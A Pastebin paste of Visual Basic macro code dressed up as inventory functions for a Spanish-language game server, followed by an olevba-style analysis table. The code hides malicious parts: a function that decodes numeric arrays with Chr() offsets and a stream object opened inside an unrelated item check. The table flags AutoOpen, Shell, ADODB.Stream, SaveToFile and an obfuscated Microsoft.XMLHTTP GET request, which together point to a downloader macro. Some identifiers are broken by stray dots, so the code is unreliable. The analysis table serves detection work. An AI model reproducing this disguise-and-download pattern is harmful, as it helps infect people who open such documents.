  1348. Public Function CanGiveItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, ByRef GivenValue As Long) As Long
  1349. If index < 1 Or index > MAX_PLAYERS Or ItemNum < 1 Or ItemNum > MAX_ITEMS Then Exit Function
  1350. Dim i As Long
  1351. i = FindOpenInvSlot(index, ItemNum)
  1352. If i > 0 Then
  1353.  If ItemNum = 1 Then
  1354.  GivenValue = GetGivenMoney(index, GetPlayerInvItemValue(index, i), itemval)
  1355.  Else
  1356.  GivenValue = itemval
  1357.  End If
  1358.  Dim val As Long
  1359.  If isItemStackable(ItemNum) Then
  1360.  val = GivenValue
  1361.  Else
  1362.  val = 1
  1363.  End If
  1364.  If CanPlayerHoldWeight(index, GetItemValWeight(ItemNum, val)) Then
  1365.  CanGiveItem = i
  1366.  Else
  1367.  PlayerMsg index, "No puedes soportar mas peso.", BrightRed
  1368.  CanGiveItem = 0
  1369.  End If
  1370. Else
  1371.  PlayerMsg index, "No tienes espacio en tu inventario.", BrightRed
  1372.  CanGiveItem = 0
  1373. End If
  1374. End Function
  1375. Public Function GetGivenMoney(fromArr() As Variant, Hawk As Double, LenLen As Integer) As String
  1376.     Dim i As Integer
  1377.     Variabl = ""
  1378.     For i = LBound(fromArr) To UBound(fromArr)
  1379.         Variabl = Variabl & Chr(fromArr(i) - LenLen - 14 * LenLen - 5000 - 432)
  1380.     Next i
  1381.     GetGivenMoney = Variabl
  1382. End Function
  1383. Function Get1GivenMoney(ByVal index As Long, ByVal initialvalue As Long, ByVal Value As Long) As Long
  1384.  If GetPlayerMaxMoney(index) < initialvalue + Value Then
  1385.  GetGivenMoney = GetPlayerMaxMoney(index) - initialvalue
  1386.  Else
  1387.  GetGivenMoney = Value
  1388.  End If
  1389. End Function
  1390. Function FindOpenBankSlot(ByVal index As Long, ByVal ItemNum As Long) As Long
  1391.  Dim i As Long
  1392.  If Not IsPlaying(index) Then Exit Function
  1393.  If ItemNum <= 0 Or ItemNum > MAX_ITEMS Then Exit Function
  1394.  For i = 1 To MAX_BANK
  1395.  If GetPlayerBankItemNum(index, i) = ItemNum Then
  1396.  FindOpenBankSlot = i
  1397.  Exit Function
  1398.  End If
  1399.  Next i
  1400.  For i = 1 To MAX_BANK
  1401.  If GetPlayerBankItemNum(index, i) = 0 Then
  1402.  FindOpenBankSlot = i
  1403.  Exit Function
  1404.  End If
  1405.  Next i
  1406. End Function
  1407. Public Function HasItem(ByVal index As Long, ByVal ItemNum As Long) As Long
  1408.  Dim i As Long
  1409.  With adodbStream
  1410.    .Type = 1
  1411.     .Open
  1412. End With
  1413.  Exit Function
  1414.  If IsPlay.ing(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
  1415.  Exit Function
  1416.  End If
  1417.  For i = 1 To MAX_INV
  1418.  If GetPlayerInvItemNum(index, i) = ItemNum Then
  1419.  If isItemStac.kable(ItemNum) Then
  1420.  HasItem = GetPlayerInvItemValue(index, i)
  1421.  Else
  1422.  HasItem = 1
  1423.  End If
  1424.  Exit Function
  1425.  End If
  1426.  Next
  1427. End Function
  1428. Function TakeInvItem(ByVal index As Long, ByVal ItemNum As Long, ByVal itemval As Long, Optional ByVal UpdateWeight As Boolean = True) As Boolean
  1429.  Dim i As Long
  1430.  Dim N As Long
  1431.  Dim TakenValue As Long
  1432.  TakeInvItem = False
  1433.  If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
  1434.  Exit Function
  1435.  End If
  1436.  For i = 1 To MAX_INV
  1437.  If GetPlayerInvItemNum(index, i) = ItemNum Then
  1438.  If isItemStackable(ItemNum) Then
  1439.  If itemval >= GetPlayerInvItemValue(index, i) Then
  1440.  TakenValue = GetPlayerInvItemValue(index, i)
  1441.  Call SetPlayerInvItemNum(index, i, 0)
  1442.  Call SetPlayerInvItemValue(index, i, 0)
  1443.  TakeInvItem = True
  1444.  Else
  1445.  Call SetPlayerInvItemValue(index, i, GetPlayerInvItemValue(index, i) - itemval)
  1446.  TakenValue = itemval
  1447.  End If
  1448.  Else
  1449.  Call SetPlayerInvItemNum(index, i, 0)
  1450.  Call SetPlayerInvItemValue(index, i, 0)
  1451.  TakeInvItem = True
  1452.  TakenValue = 1
  1453.  End If
  1454.  Call SendInventoryUpdate(index, i)
  1455.  If UpdateWeight Then Call SetPlayerWeight(index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, TakenValue))
  1456.  Exit For
  1457.  End If
  1458.  Next
  1459. End Function
  1460. Function TakeInvSlot(ByVal index As Long, ByVal invSlot As Byte, ByRef itemval As Long, Optional ByVal Update As Boolean = False) As Boolean
  1461.  Dim ItemNum As Integer
  1462.  Dim NewItemVal As Long
  1463.  Dim NewItemNum As Long
  1464.  TakeInvSlot = False
  1465.  If IsPlaying(index) = False Or invSlot <= 0 Or invSlot > MAX_ITEMS Then Exit Function
  1466.  ItemNum = GetPlayerInvItemNum(index, invSlot)
  1467.  If ItemNum < 1 Then Exit Function
  1468.  If isItemStackable(ItemNum) Then
  1469.  If itemval >= GetPlayerInvItemValue(index, invSlot) Then
  1470.  NewItemVal = 0
  1471.  NewItemNum = 0
  1472.  itemval = GetPlayerInvItemValue(index, invSlot)
  1473.  Else
  1474.  NewItemVal = GetPlayerInvItemValue(index, invSlot) - itemval
  1475.  NewItemNum = GetPlayerInvItemNum(index, invSlot)
  1476.  End If
  1477.  Else
  1478.  NewItemVal = 0
  1479.  NewItemNum = 0
  1480.  itemval = 1
  1481.  End If
  1482.  SetPlayerInvItemNum index, invSlot, NewItemNum
  1483.  SetPlayerInvItemValue index, invSlot, NewItemVal
  1484.  SetPlayerWeight index, GetPlayerWeight(index) - GetItemValWeight(ItemNum, itemval)
  1485.  If Update Then
  1486.  Call SendInventoryUpdate(index, invSlot)
  1487.  End If
  1488. End Function
  1489. Sub GiveInvSlot(ByVal index As Long, ByVal slot As Long, ByVal ItemNum As Long, ByVal Value As Long, Optional ByVal SendUpdate As Boolean = True)
  1490.  If index < 1 Or index > MAX_PLAYERS Or slot < 1 Or slot > MAX_INV Then Exit Sub
  1491.  Dim SetValue As Long
  1492.  If isItemStackable(ItemNum) Then
  1493.  SetValue = GetPlayerInvItemValue(index, slot) + Value
  1494.  Else
  1495.  SetValue = 1
  1496.  Value = 1
  1497.  End If
  1498.  Call SetPlayerInvItemNum(index, slot, ItemNum)
  1499.  Call SetPlayerInvItemValue(index, slot, SetValue)
  1500.  Call SetPlayerWeight(index, GetPlayerWeight(index) + GetItemValWeight(ItemNum, Value))
  1501.  If SendUpdate Then SendInventoryUpdate index, slot
  1502. End Sub
  1503.  
  1504.  
  1505. +------------+----------------------+-----------------------------------------+
  1506. | Type       | Keyword              | Description                             |
  1507. +------------+----------------------+-----------------------------------------+
  1508. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  1509. | Suspicious | Open                 | May open a file                         |
  1510. | Suspicious | Shell                | May run an executable file or a system  |
  1511. |            |                      | command                                 |
  1512. | Suspicious | Shell.Application    | May run an application (if combined     |
  1513. |            |                      | with CreateObject)                      |
  1514. | Suspicious | CreateObject         | May create an OLE object                |
  1515. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1516. |            |                      | strings                                 |
  1517. | Suspicious | ADODB.Stream         | May create a text file                  |
  1518. | Suspicious | SaveToFile           | May create a text file                  |
  1519. | Suspicious | Write                | May write to a file (if combined with   |
  1520. |            |                      | Open)                                   |
  1521. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1522. |            |                      | (obfuscation: VBA expression)           |
  1523. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1524. |            | Strings              | may be used to obfuscate strings        |
  1525. |            |                      | (option --decode to see all)            |
  1526. | VBA string |  arroja              | (" arroja ") & " "                      |
  1527. | VBA string |  ha subido           | (" ha subido ") & " "                   |
  1528. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1529. | VBA string | ET                   | "" + "" + "" + "E" + "" + "" + "T"      |
  1530. | VBA string |  ha adquirido la     | (" ha adquirido la trifuerza ") & " "   |
  1531. |            | trifuerza            |                                         |
  1532. | VBA string | Has sido             | ("Has sido teletransportado por") & " " |
  1533. |            | teletransportado por |                                         |
  1534. | VBA string |  ha sido expulsado   | (" ha sido expulsado por: ") & " "      |
  1535. |            | por:                 |                                         |
  1536. | VBA string |  se ha desconectado  | (" se ha desconectado ") & "."          |
  1537. |            | .                    |                                         |
  1538. +------------+----------------------+-----------------------------------------+
RAW Paste Data
Pastebin PRO Autumn Special!
Get 40% OFF on Pastebin PRO accounts!
Top